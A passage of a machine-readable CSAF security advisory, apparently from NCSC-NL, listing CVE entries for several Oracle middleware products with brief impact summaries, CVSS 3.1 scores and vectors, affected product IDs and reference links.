"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62635 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62635.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62635"
},
{
"cve": "CVE-2026-62636",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 enables unauthenticated remote attackers to gain unauthorized access, modify data, or cause partial denial of service via SOAP, with a CVSS 3.1 base score of 8.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62636 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62636.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62636"
},
{
"cve": "CVE-2026-62637",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated attackers with network access to manipulate critical data, rated with a CVSS 3.1 base score of 9.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62637 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62637.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62637"
},
{
"cve": "CVE-2026-62638",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 enables unauthenticated remote attackers to modify or delete data and cause denial of service, with a CVSS 3.1 base score of 9.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62638 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62638.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62638"
},
{
"cve": "CVE-2026-62639",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated remote attackers to fully compromise systems via CORBA, with a CVSS 3.1 base score of 9.8 indicating severe impacts on confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62639 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62639.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62639"
},
{
"cve": "CVE-2026-62640",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 via IIOP has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-62640 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-62640.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-62640"
},
{
"cve": "CVE-2026-70668",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated network attackers via SOAP to create, delete, or modify critical data, with a CVSS 3.1 base score of 9.1 indicating high confidentiality and integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70668 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70668.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70668"
},
{
"cve": "CVE-2026-70669",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70669 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70669.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70669"
},
{
"cve": "CVE-2026-70670",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated attackers with network access to fully compromise the product, with a CVSS 3.1 base score of 9.6 indicating severe risks to confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70670 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70670.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.6,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70670"
},
{
"cve": "CVE-2026-70671",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Reports Developer 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.1 indicating high confidentiality and integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70671 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70671.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70671"
},
{
"cve": "CVE-2026-70672",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to create, delete, or modify critical data, leading to unauthorized access with a CVSS 3.1 base score of 7.4.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70672 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70672.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.4,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70672"
},
{
"cve": "CVE-2026-70673",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 enables unauthenticated remote attackers to gain unauthorized access and modify data, with a CVSS 3.1 base score of 9.3, potentially affecting other Oracle products.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70673 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70673.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70673"
},
{
"cve": "CVE-2026-70674",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated attackers with network access to fully compromise the product, rated with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70674 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70674.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70674"
},
{
"cve": "CVE-2026-70675",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated remote attackers to potentially compromise confidentiality, integrity, and availability via HTTP, with a CVSS 3.1 base score of 8.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70675 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70675.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70675"
},
{
"cve": "CVE-2026-70716",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 Imperative Web Server allows unauthenticated network attackers via HTTP to modify or delete critical data, with a CVSS 3.1 base score of 5.9 indicating moderate integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70716 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70716.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70716"
},
{
"cve": "CVE-2026-70727",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers with HTTPS network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70727 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70727.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70727"
},
{
"cve": "CVE-2026-70858",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to perform unauthorized data modifications, read access, and partial denial of service, with a CVSS 3.1 score of 7.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70858 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70858.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70858"
},
{
"cve": "CVE-2026-70905",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Access Manager 12.2.1.4.0 and 14.1.2.1.0 enables unauthenticated attackers to exploit SAML access, with a CVSS 3.1 base score of 9.8 indicating severe impacts on confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70905 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70905.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70905"
},
{
"cve": "CVE-2026-70908",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers to cause denial of service by crashing or hanging the Imperative Web Server, with a CVSS 3.1 base score of 7.5 due to availability impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70908 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70908.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
